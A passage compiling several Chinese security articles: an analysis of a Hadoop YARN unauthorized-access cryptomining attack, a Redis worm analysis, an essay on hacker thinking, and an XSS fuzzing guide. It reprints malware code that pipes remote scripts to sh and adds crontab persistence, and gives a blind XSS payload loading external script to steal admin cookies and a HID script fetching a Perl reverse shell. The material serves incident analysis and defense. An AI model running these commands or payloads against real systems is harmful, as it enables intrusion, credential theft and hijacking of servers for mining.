Hadoop是一个由Apache基金会所开发的分布式系统基础架构，YARN是hadoop系统上的资源统一管理平台，其主要作用是实现集群资源的统一管理和调度，可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上，通过YARN来管理资源。简单的说，用户可以向YARN提交特定应用程序进行执行，其中就允许执行相关包含系统命令。

YARN提供有默认开放在8088和8090的REST API（默认前者）允许用户直接通过API进行相关的应用创建、任务提交执行等操作，如果配置不当，REST API将会开放在公网导致未授权访问的问题，那么任何黑客则就均可利用其进行远程命令执行，从而进行挖矿等行为。

攻击步骤：

1. 申请新的application

直接通过curl进行POST请求

1

curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'

返回内容类似于：

1

{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}

2. 构造提交任务

构造json文件1.json，内容如下，其中application-id对应上面得到的id，命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件，内容也为111：

1
2
3
4
5
6
7
8
9
10
11

{
    "am-container-spec":{
        "commands":{
            "command":"echo '111' > /var/tmp/11112222_test_11112222"

        }
    },
    "application-id":"application_1527144634877_20465",
    "application-name":"test",
    "application-type":"YARN"
}

然后直接

1

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻击，命令被执行，在相应目录下可以看到生成了对应文件

更多漏洞详情可以参考 http://bbs.qcloud.com/thread-50090-1-1.html

三、入侵分析

在本次分析的案例中，受害机器部署有Hadoop YARN，并且存在未授权访问的安全问题，黑客直接利用开放在8088的REST API提交执行命令，来实现在服务器内下载执行.sh脚本，从而再进一步下载启动挖矿程序达到挖矿的目的。

整个利用过程相对比较简单，通过捕捉Hadoop 的launch_container.sh执行脚本，我们可以看到其中一个案例中相关任务执行的命令：

1
2
3
4
5
6
7
8
9
10
11
12
13

#!/bin/bash

export LOCAL_DIRS="/root/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527144634877_20417"
export APPLICATION_WEB_PROXY_BASE="/proxy/application_1527144634877_20417"
...这里省略部分内容
export CONTAINER_ID="container_1527144634877_20417_02_000001"
export MALLOC_ARENA_MAX="4"
exec /bin/bash -c "curl 185.222.210.59/x_wcr.sh | sh & disown"
hadoop_shell_errorcode=$?
if [ $hadoop_shell_errorcode -ne 0 ]
then
  exit $hadoop_shell_errorcode
fi

可以很明显的看到第8行位置，从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。

在实际过程中，我们从多个案例捕获了多个比如名为cr.sh的不同脚本，但实际的功能代码都差不多，我们对其中一个x_wcr.sh脚本进行分析，代码自上而下内容：

1
2
3
4
5
6
7
8
9

pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*

这部分代码主要针对已存在的挖矿进程、文件进行清理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

DIR="/tmp"
if [ -a "/tmp/java" ]
then
    if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /tmp/java | awk '{ print $1 }')
            echo $sum
            case $sum in
                183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                    echo "Java OK"
                ;;
                *)
                    echo "Java wrong"
                    pkill -f w.conf
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi

这部分的代码主要是判断如果/tmp/java是一个存在并且可写的文件，那么就判断其MD5值是否匹配，MD5不匹配则根据w.conf关键词查找并kill进程；如果非可写的文件，则重新赋值DIR变量，这个变量主要用于后面部分代码中下载挖矿等程序存放目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

if [ -d "/tmp/java" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi
f2="185.222.210.59"

然后接着是一些变量的赋值，包括再次判断如果/tmp/java是一个目录，则重新赋值DIR变量；判断curl和wget命令是否存在，存在则赋值到WGET变量；f2则是赋值为某个IP，实则为是后续下载相关文件的服务器之一。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    downloadIfNeed
    chmod +x $DIR/java
    $WGET $DIR/w.conf http://$f2/w.conf
    nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
    sleep 5
    rm -rf $DIR/w.conf
else
    echo "Running"
fi
if crontab -l | grep -q "185.222.210.59"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1")| crontab -
fi

这部分代码是其中比较核心的代码，通过downloadIfNeed方法下载挖矿程序到$DIR目录下并重命名为java，下载w.conf配置文件，给挖矿程序增加执行权限，然后以nohup命令后台运行挖矿程序并删除配置文件；接着检查crontab中的任务，如果不存在对应的任务，就将下载执行脚本的任务* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1添加到其中,这里$LDR为wget -q -O -或者curl，任务每分钟执行一次。

脚本中还包含了几个嵌套调用的download方法，入口方法是downloadIfNeed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/java ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
            ;;
            *)
                echo "Java wrong"
                sizeBefore=$(du $DIR/java)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                echo "" > $DIR/tmp.txt
                rm -rf $DIR/java
                download

                if [ -x "$(command -v md5sum)" ]
                then
                    sum=$(md5sum $DIR/java | awk '{ print $1 }')
                    echo $sum
                    case $sum in
                        183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                            echo "Java OK"
                            cp $DIR/java $DIR/ppc
                        ;;
                        *)
                            $WGET $DIR/java https://transfer.sh/WoGXx/zzz > $DIR/tmp.txt 2>&1
                            echo "Java wrong"
                            sum=$(md5sum $DIR/java | awk '{ print $1 }')
                            case $sum in
                                183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                                    echo "Java OK"
                                    cp $DIR/java $DIR/ppc
                                ;;
                                *)
                                    echo "Java wrong2"
                                ;;
                            esac
                        ;;
                    esac
                else
                    echo "No md5sum"
                fi

                sumAfter=$(md5sum $DIR/java | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
                then
                    echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/java` >> $DIR/tmp.txt
                    curl -F "file=@$DIR/tmp.txt" http://$f2/re.php
                fi
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

这个方法的核心功能还是校验已存在的挖矿程序的MD5，如果无法验证或者文件不存在的情况，则直接调用download方法下载挖矿程序；如果文件存在但MD5匹配不正确，则调用download方法后再次验证，验证失败则尝试从另外一个下载渠道https://transfer.sh/WoGXx/zzz下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2的re.php.

tmp.txt内容示例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/ppc | awk '{ print $1 }')
        echo $sum
        case $sum in
            183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
                cp $DIR/ppc $DIR/java
            ;;
            *)
                echo "Java wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download方法判断ppc文件的存在与否和 MD5是否匹配，如果不存在或MD5不匹配则调用download2下载，如果存在则复制重名为java。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

download2() {
    f1=$(curl 185.222.210.59/g.php)
    if [ -z "$f1" ];
    then
        f1=$(wget -q -O - 185.222.210.59/g.php)
    fi

    if [ `getconf LONG_BIT` = "64" ]
    then
        $WGET $DIR/java http://$f1/xm64?$RANDOM
    else
        $WGET $DIR/java http://$f1/xm32?$RANDOM
    fi

    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
                cp $DIR/java $DIR/ppc
            ;;
            *)
                echo "Java wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

download2方法则判断系统下载对应版本的挖矿程序，其中http://185.222.210.59/g.php返回的是另外一个IP地址；下载成功后则再次验证，并复制重命名为ppc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -

在脚本的最后部分还有一些进程、文件、crontab清理的处理，用pkill删除满足条件的进程，删除tmp目录下pscd开头的文件，以及说删除crontab中存在某些关键词的任务。

至此，我们完成整个脚本的分析，虽然整个脚本比较冗长，而且似乎各个函数嵌套调用，涉及文件也众多，但其实整体就做了以下几件事：

1. 清理相关的进程、文件和crontab任务
2. 判断并下载挖矿程序，同时校验MD5值，除了黑客自己控制的服务器，还利用https://transfer.sh提供备用下载，多种方式保障
3. 增加脚本下载执行任务添加到crontab里

其实，我们通过查看YARN的日志文件yarn-root-nodemanager-master.hadoop.log也可能看到相应的痕迹：

或者我们通过管理UI查看application详情：

而crontab的任务日志也能看到相关的执行记录：

最终在/var/tmp目录下也能找到相关的文件

四、安全建议

清理病毒

1. 使用top查看进程，kill掉异常进程
2. 检查/tmp和/var/tmp目录，删除java、ppc、w.conf等异常文件
3. 检查crontab任务列表，删除异常任务
4. 排查YARN日志，确认异常的application，删除处理

安全加固

1. 通过iptables或者安全组配置访问策略，限制对8088等端口的访问
2. 如无必要，不要将接口开放在公网，改为本地或者内网调用
3. 升级Hadoop到2.x版本以上，并启用Kerberos认证功能，禁止匿名访问
4. 云镜当前已支持该漏洞检测，同时也支持挖矿木马的发现，建议安装云镜并开通专业版，及时发现漏洞并修复或者在中马后能及时收到提醒进行止损
5. 更多自检和修复建议可以参考 http://bbs.qcloud.com/thread-50090-1-1.html

五、IOCs

• 钱包地址

  • 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

• MD5

  • c8c1f2da51fbd0aea60e11a81236c9dc
  • 183664ceb9c4d7179d5345249f1ee0c4
  • b00f4bbd82d2f5ec7c8152625684f853

• 矿池地址

  • 158.69.133.20:3333
  • 192.99.142.249:3333
  • 202.144.193.110:3333
  • 46.30.43.159:80

• 部分相关URL

  • hxxp://185.222.210.59/x_wcr.sh
  • hxxp://185.222.210.59/re.php
  • hxxp://185.222.210.59/g.php
  • hxxp://185.222.210.59/w.conf
  • hxxp://185.222.210.59/cr.sh
  • hxxp://192.99.142.226:8220/w.conf
  • hxxp://192.99.142.226:8220/xm64
  • hxxp://192.99.142.226:8220/cr.sh
  • hxxp://95.142.40.83/xm64
  • hxxp://95.142.40.83/xm32
  • hxxps://transfer.sh/1o3Kj/zzz
  • hxxps://transfer.sh/wbl5H/pscf
  • hxxps://transfer.sh/WoGXx/zzz

自从Redis未授权问题获取Linux系统root权限的攻击方法的披露后，由于其易用性，利用该问题入侵Linux服务进行挖矿、扫描等的黑客行为一直层出不穷;而在众多利用该问题入侵服务器进行黑产行为的案例中，其中就存在一类利用该问题进行挖矿并且会利用pnscan自动扫描感染其他机器；该类攻击一直存在，不过在近期又呈现数量增加的趋势，在最近捕获到多次，我们针对其做下具体的分析。

二、 漏洞说明

首先针对利用的漏洞做个说明，Redis 默认情况下，会绑定在0.0.0.0:6379，在没有利用防火墙进行屏蔽的情况下，将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 ~/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器；如果Redis服务是以root权限启动，可以利用该问题直接获得服务器root权限。

相关漏洞详情可以参考：

https://www.seebug.org/vuldb/ssvid-89715

以下为漏洞利用演示:

经过在ZoomEye和SHODAN检索，可以发现分别众多Redis服务开放在公网上，这些服务都可能成为攻击目标。

三、入侵分析

经过对捕获的事件进行分析，我们发现整个入侵流程大概是包含以下几个环节：

1. 扫描开放6379端口的Linux服务器（后续感染扫描网段为1.0.0.0/16到224.255.0.0/16）
2. 通过redis-cli尝试连接Redis并执行预置在.dat文件里的利用命令将Redis的数据文件修改为/var/spool/cron/root，然后通过在Redis中插入数据，将下载执行脚本的动作写入crontab任务
3. 通过脚本实现以上的相关行为，完成植入并启动挖矿程序
4. 再编译安装pnscan，继续扫描感染下一个目标

四、 脚本分析

整个入侵利用以及后续的感染的实现，最主要的功能都是基于通过Redis问题写入crontab任务中下载执行的.cmd脚本来实现的，通过对它的分析，我们基本能够得到整个流程的所有细节，这是一个base脚本，我们通过解读来分析下它的相关功能。

这部分代码只要是用作重复执行的判断，将.mxff0文件作为标记文件，如果存在该文件则代表机器上已执行脚本，直接退出，否则写.mxff0文件并进行下一步动作；

设置预置动作，在脚本退出后删除相关文件和脚本自身；

这部分主要是修改系统的配置，开头两行为关闭SELINUX；然后清空/var/spool/cron，进而判断系统DNS服务器是否存在8.8.8.8，没有则添加；接着清空系统tmp目录和删除相关文件；同时清空系统缓存，而最后修改/etc/security/limits.conf来更新系统的资源限制；

这里再进一步的增加iptables限制6379端口只允许本地访问，同时kill相关包含挖矿、redis客户端、爬虫等进程，这里的目的也比较简单，避免被其他黑客再次入侵，同时清除可能其他黑客入侵启动的进程；

清除相关登录日志、命令操作历史；

这一长串的内容主要目的是下载并编译安装pnscan，从内容中我们可以看到对于不同操作系统的判断然后安装依赖的相关模块，然后才是从github下载pnscan的源码进行编译安装；至于为什么采用编译安装的形式，猜测是出于兼容不同系统以及每次编译生成的pnscan的MD5都不一样，避免形成固定特征；

这部分主要是下载挖矿程序并重命名为.gpg，增加执行权限，执行后删除，同时重新上传到https://transfer.sh/ 获取新的链接；

而这部分内容主要是生成新的.dat文件，包含将原来.cmd脚本里的里挖矿程序的下载地址替换为上一步上传到https://transfer.sh/得到的新地址，还有Redis利用的相关语句；

而步主要是调用pnscan去扫描子网段1.0.0.0/16到224.255.0.0/16中开放6379端口并且操作系统为Linux的目标，然后利用redis-cli执行.dat中的命令，进行下个目标的感染；这里pnscan的-W参数值2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a转换后内容*1\r\n$4\r\nINFO\r\n，是向目标Redis服务发送请求获取Redis服务器的各种信息和统计数值，再通过-R参数值6f 73 3a 4c 69 6e 75 78(转换后内容为os:Linux)判断是否Linux系统。

最后就是收尾工作，清除相关日志和命令执行历史，同时在脚本退出的时候会触发脚本一开始用trap预置的动作，会做删除操作，删除相关文件和脚本自身（rm -rf m* .cmd tmp.* .r .dat $0）。通过对脚本的解读，我们基本已经清楚整个蠕虫的行为和入侵流程，也就是我们开始所描述的流程。

另外，通过阅读脚本，我们发现虽然整个入侵流程并不是多复杂，但脚本其实有很多”工程化”的细节考虑，不得不让人惊叹入侵者的”考虑周到”：

• 利用.mxff0文件做重复执行检验，避免脚本的重复执行
• 为了增加成功性，一些环境的预处理：
  • 关闭SELINUX
  • 增加8.8.8.8的DNS
  • 清空tmp目录
  • 清空系统缓存
  • 修改系统资源限制
• 痕迹清除
• 利用trap预置动作好在脚本执行完成后删除相关文件和脚本自身
• 重复清除相关登录等日志和命令执行历史
• 同行预防
  • 利用iptables避免Redis服务开放在公网上从而导致再次被入侵
  • 清除同行可能遗留的入侵行为，kill相关进程
• 系统兼容性
  • 判断操作系统，针对性的执行相关命令，安装依赖包，最大限度的提高pnscan编译安装的成功率
  • 关闭SELINUX，通过setenforce和修改/etc/sysconfig/selinux两种手段实现
  • 写入Crontab里的下载并执行脚本的任务，通过curl、wget、lynx三种方式实现
  • Pnscan扫描增加操作系统判断，减少没有必要的感染尝试
• 特征去除，存活延续
  • Pnscan采用安装编译的方式，既提高在不同系统下的兼容性，也避免形成固定的MD5特征
  • 利用https://transfer.sh中转，每一次感染均生成新的连接，避免固定链接形成固定特征
  • 下载到系统的相关文件均采用随机生成的文件名

正是由于入侵者种种的”考虑周到”使得他的入侵感染的成功率能够达到的一定的层度。

五、安全建议

病毒清理和系统恢复

我们主要参考脚本的相关行为进行对应的行为恢复和删除即可：

1. 关闭SELINUX，根据系统原环境和业务需要重新开启SELINUX
2. 清空了/var/spool/cron，根据原先备份清空恢复
3. 修改/etc/resolv.conf增加DNS服务8.8.8.8，如无影响可不处理，或者删除
4. 修改了系统资源限制(/etc/security/limits.conf)，可根据备份情况恢复
5. 增加了对6379端口的iptables规则，如果不影响业务，建议保留
6. kill了相关进程，检查是否包含业务所需进程，根据情况恢复
7. 安装了相关包，具体列表见上文，可根据情况删除或者如无影响可保留
8. 编译安装了pnscan，可删除/usr/local/bin/pnscan
9. 清除了相关日志和tmp目录，对系统无影响，可忽略
10. 启动了挖矿进程和pnscan扫描感染，进程：.gpg、pnscan，直接kill
11. 还包含了一些中间文件，虽然脚本包含相关删除操作，但建议还是全局查找确认：.mxff0、.x112、.gpg、.dat、.cmd、.r.xx.xx.o/l、tmp.xxxx

Redis服务加固

1. 导致入侵的主要原因是Redis未授权访问问题，所以如果要扼制入侵的入口，需要针对Redis服务进行加固，避免黑客通过该途径进行入侵植入挖矿蠕虫。
2. 如无必要，修改bind项，不要将Redis绑定在0.0.0.0上，避免Redis服务开放在外网，可以通过iptables或者腾讯云用户可以通过安全组限制访问来源
3. 在不影响业务的情况，不要以root启动Redis服务，同时建议修改默认的6379端口，大部分针对Redis未授权问题的入侵都是针对默认端口进行的
4. 配置AUTH，增加密码校验，这样即使开放在公网上，如果非弱口令的情况，黑客也无法访问Redis服务进行相关操作
5. 使用rename-command CONFIG "RENAME_CONFIG"重命名相关命令，这样黑客即使在连接上未授权问题的Redis服务，在不知道命令的情况下只能获取相关数据，而无法进一步利用

其他建议

• 腾讯云公有云和私有云用户可以安装腾讯云主机安全产品-云镜，在被入侵植入木马后可以第一时间获得提示，及时止损
• 建议开通云镜专业版，可以提前检测获知服务器的安全漏洞，及时修复，避免被利用

六、 附录

IOCs

• 脚本 https://transfer.sh/MIpIA/tmp.9kIguIhkI7
• 挖矿程序
  • https://transfer.sh/MIpIA/tmp.vOYTgmtZge
  • 2918ee2b69bc4e6b581c7b25f08434fe
• 矿池域名 http://jb.chakpools.com/
• 相关文件名
  • .mxff0、.x112、.gpg、.dat、.cmd、.r.xx.xx.o/l、tmp.xxxx

链接

• 样本https://www.virustotal.com/#/file/9756e66c168ec963c58b3d0ca5483927c14a64a99ba718fa9488a52d4d207ed6
• Pnscan项目地址 https://github.com/ptrrkssn/pnscan
• 漏洞说明 https://www.seebug.org/vuldb/ssvid-89715
• 漏洞利用演示 https://v.qq.com/x/page/u0661b9o772.html
• 云镜产品官网 https://cloud.tencent.com/product/hs

网络安全里经常说的一句话是未知攻焉知防，基本所有的安全人员也是一名黑客，在黑客攻击愈发普遍的今天，如何更好的防御黑客攻击？用句带有点哲学的话，成为黑客，只有成为黑客，像黑客一样思考，你才能知道从哪去防御黑客；很俗的一句话，但很实在！

看到了什么

看到上图的第一直觉，你可以自己想下答案，问问自己看到了什么？

正常的思维，第一直观感受是中间那个很明显，很大的黑点，因为这个黑点最吸引大家的注意力，稍微看过一些哲学故事的同学可能会想到黑点周围白色的区域，是的，黑点只是其中一个小点，而黑点周围白色的部分则足够大；但是，我不知道有没有人的答案是白色再外面？文章区域再外面？或者整个浏览器？整个电脑屏幕？电脑外呢？其实想表达的也正是黑客的思维里，永远不是局限于可以看到的部分，而在于能够想到或者没想到的所有面。

其实这类同于攻击面！安全是木桶短板原理，木桶能装多少水不在于最长的那块板，而是最短的那块；而一个系统的安全程度不取决于安全做的多全，做的多高大上，而在于是否把那些最简单的问题处理掉？数据告诉我们，服务器入侵，除了漏洞之外最大途径是弱口令，而这就是一个根本没多少技术含量的方式，属于安全基线问题，就是同样的道理。对于黑客而言，攻击面不会局限于能够看到的点，而在于所有可能关联或者没关联的面，就比如渗透测试或者说APT，很多时候结合社工这个点能够取得很好的效果，成为一个绝佳的入侵渠道。所以，第一点，学会放开自己的思维与想象，发现和关注平时所容易忽略和没有看到的地方。

什么是黑客？

什么是黑客？我用八个字总结，突破创造，守正出奇。在我看来，黑客永远不是一个贬义词，黑客本身就是极客，对于黑客来说，这个世界充满好奇，这个世界有太多的东西可以探索，特别是网络的世界。

黑客是一个追求自由的群体，不喜欢受到条条框框的约束，总是喜欢突破这一切，突破同时也可能是一种创造，创造新的方法，新的方式，新的工具，新的东西，就比如上图，小学课本里的乌鸦喝水，在我们看来是一种很傻的行为，但未尝不是一种稳定传统的方式？在生活中很多的事不也正如此？或者说就网络上很多安全的措施有时候也是稳定起见，因为新的东西除了先进，有时候也会带来风险。而对于黑客来说，可能考虑的更不是这些，而是尝试，好奇一切。

对于黑客而言，也有自己的黑客精神，有自己要坚持和秉承的东西（地下黑客的原则可能不同于正常黑客），这就是守正，自由、共享、平等、互助；在Web安全的世界里，我们经常会提到一个词"猥琐"，或者说不仅限于Web安全，因为很多时候攻击的产生不是利用一个多厉害的漏洞，而在于猥琐的思路，几个定义为低危的小漏洞的组合也许威力比一个高危漏洞还大，这就取决于漏洞的组合使用，利用思路；这些"猥琐行为"就是一种出奇的表现。

了解黑客，成为黑客，才能更好的学会黑客的思考。

看到框就想X

这是一个意见反馈的界面，看到这样一个界面，大家会怎么做？对于普通人来说，这就是一个正常的意见提交框，用处就是提交反馈内容；大家想想黑客会怎么做？提交攻击代码，比如下面的代码：

1

</textarea>'"><script src=http://t.cn/R63bUP9></script>

实际上，当时看到这样一个功能，我就这样做了。这是某手游客服中心手机版的一个页面，可以提交反馈意见，我当时就直接提交了上面的攻击代码，然后就攻击成功了（这其实是一次XSS盲打，什么是XSS盲打大家可以自行搜索或者看我之前发的文章）。由于这样的功能往往看反馈内容的都是系统的相关管理员，于是被攻击成功的也是管理员，通过XSS盲打可以直接拿到管理员登录的账号的Cookie等信息（下图就是盲打平台中收到的攻击成功返回的后台地址和管理员Cookie）。

当然，不仅限于这个页面，还有其他的：

这种行为总结而言，就是"看到框就想X"，这里的X也就是XSS的意思；其实这更多的是一种习惯和意识，在黑客的想法里，看到功能首先想到的不是使用，而是能不能利用，然后由于攻击做的多了，看到不同的功能和应用页面，自然就能意识到可能存在的问题，自然而然的就会去测试；经常会有很多人问，那些人在各种SRC提交的漏洞都是怎么挖的，是不是有神器？但是也不是每个人的安全测试工具都是神器啊！其实很多时候是在使用中发现漏洞！

不同的潜意识行为和想法，取决于不同的知识面和经验，也取决于不同的目的。

功能也是攻击方式

如果手机没电了，那么旁边如果其他人正好有电脑，借用其他人电脑的USB口给手机充电是一件很常见的事，但其实，只是插个数据线，也可以导致电脑被攻击，下面视频演示的是一部手机通过USB连接MAC电脑执行指定的命令（视频里是ifconfig）。

视频里的手机是一个很普通的手机，安装了一个叫做"Nethunter"的黑客操作系统，也就成为"黑客手机",里面集成了一些黑客攻击工具，比如视频里演示的工具叫做DuckHunter HID。看到这个视频，大家是否会觉得这个攻击挺高端的，物理黑客攻击，但当我告诉大家原理之后，大家可能想到的就是"原来如此，这么简单"。

手机上显示的代码是：

1
2
3
4
5
6

CONTROL SPACE
STRING iterm
ENTER
ENTER
STRING ifconfig
ENTER

看完这个代码不知道大家是否已经明白了攻击原理，熟悉MAC操作的同学可能知道CONTROL+SPACE其实是调起Spotlight，一个类似快捷启动的工具，然后输入iterm，就是查找iTerm，然后回车，打开iTerm后，再输入ifconfig，再回车，就完成了整个命令输入执行的过程；大家可以发现，这其实就是一个模拟键盘操作的过程，没错，上面视频演示的攻击原理就是模拟键盘操作，其实这时候的手机用USB接入电脑相其实就是把自己设置为键盘接入电脑，然后再直接模拟键盘操作进行攻击。

那么是否可以进行危害更大的攻击？比如反弹Shell？当然可以，改下代码即可：

1
2
3
4
5
6
7

CONTROL SPACE
STRING iterm
ENTER
ENTER
STRING wget http://13.gy/b.pl.txt -O /tmp/b.pl
STRING perl /tmp/b.pl 反弹监听IP 监听端口
ENTER

采用下载一个Perl脚本来实现反弹Shell，如下面视频：

讲这个例子的目的其实就是这部分的标题，功能也是攻击方式。在黑客的眼里，不是一定得使用漏洞，使用多高端的技巧，能达到攻击目的和效果的方式都是好的攻击方式，这些方式不局限于大家所了解的只是漏洞或者暴力破解等，而经常做的就是利用正常的功能来实现攻击，这种攻击因为使用的是正常的功能，有时候反而更隐蔽；而类似的攻击方式，不在少数。

结语

其实，近几年来，大家对黑客的了解已经越来越多，黑客也越来越失去神秘，然后大家就会发现，他们其实也是生活中的普通人；而在黑夜中工作，有时更多的是因为那时候安静，做事效率高，或者是管理员不在线好做一些秘密的攻击和测试等，而不是所谓各种描述里的戴着衣帽，把自己包裹在黑暗中，不露出自己的真面目等。

其实黑客所不同于普通人的点，除了掌握的知识外，就是做事和思考的方式，仅此而已！

XSS应该是我挖过的最多漏洞的一种Web漏洞类型，累积下来，就国内BAT、金山、新浪、网易等这些互联网公司的XSS，应该至少也有超过100个，这篇文章主要就是根据自己的一些经验与大家一起探讨编码绕过、处理等技术因素之外的XSS Fuzzing的一些技巧。

Fuzzing（模糊测试）是挖掘漏洞最常用的手段之一，不止是XSS，应该可以说Fuzzing可以用于大部分类型的漏洞挖掘。通俗可以把这种方式理解为不断尝试的过程。

XSS的Fuzzing流程

这是一个比较常规的Web漏扫中XSS检测插件的一个流程图，其中比较关键的几个点在于：

• 检测输入点
• 潜在注入点检测
• 生成Payload
• Payload攻击验证

检测输入点其实就是寻找数据入口，比如说GET/POST数据，或者Header头部里的UA/Referer/Cookie，再或者URL路径等等，这些都可以成为输入入口，转换为比较形象点的说法，比如看到一个搜索框，你可能会在搜索框里提交关键词进行搜索，那么这里可能就发生了一个GET或者POST请求，这里其实就是一个输入点。

其次是潜在注入点检测，潜在注入的检测是判断输入点是否可以成功把数据注入到页面内容，对于提交数据内容但是不输出到页面的输入点是没有必要进行Fuzzing的，因为即使可以提交攻击代码，也不会产生XSS；在潜在注入点的检测通常使用的是一个随机字符串，比如随机6位数字，再判断这6位数字是否返回输出在页面，以此来进行判断。为什么不直接使用Payload进行判断呢？因为Payload里包含了攻击代码，通常很多应用都有防火墙或者过滤机制，Payload中的关键词会被拦截导致提交失败或者不会返回输出在页面，但这种情况不代表不能XSS，因为有可能只是Payload不够好，没有绕过过滤或者其他安全机制，所以采用无害的随机数字字符就可以避免这种情况产生，先验证可注入，再调整Payload去绕过过滤；而随机的目的在于不希望固定字符成为XSS防御黑名单里的关键词。

再者就是生成Payload和进行攻击验证的过程，Payload的好坏决定了攻击是否可以成功；而对于不同情况的注入点，需要使用的Payload也是不同的，比如，注入的位置在标签属性中还是标签事件中，使用的Payload是不同的；

1
2

标签属性中：如<a href="注入位置">test</a>，Payload："></a><script>alert(0)</script><a  href="
标签事件中：<img href="a.jpg" onload="注入位置">, Payload：alert(0)

其实Payload的生成就是一个不断Fuzzing和不断调整的过程，根据注入位置上下文代码的结构、内容以及应用过滤机制等不断调整和不断提交测试的过程，下图是一个Payload的生成流程。

那么假如某次Payload调整后Fuzzing成功，也就意味XSS注入成功，并得出这个漏洞的PoC。

其实为什么一开始就介绍下扫描器常规的XSS检测方式呢？因为手工Fuzzing XSS其实也是这样一个过程，很多安全工具其实就是将手工的过程自动化。

接下来进入正题我们一起探讨一些XSS的挖掘技巧。

不一样的昵称

这是一个微信网页版的存储型XSS，注入点是微信昵称的位置（右图），通过访问微信群成员列表可以触发XSS导致弹框。

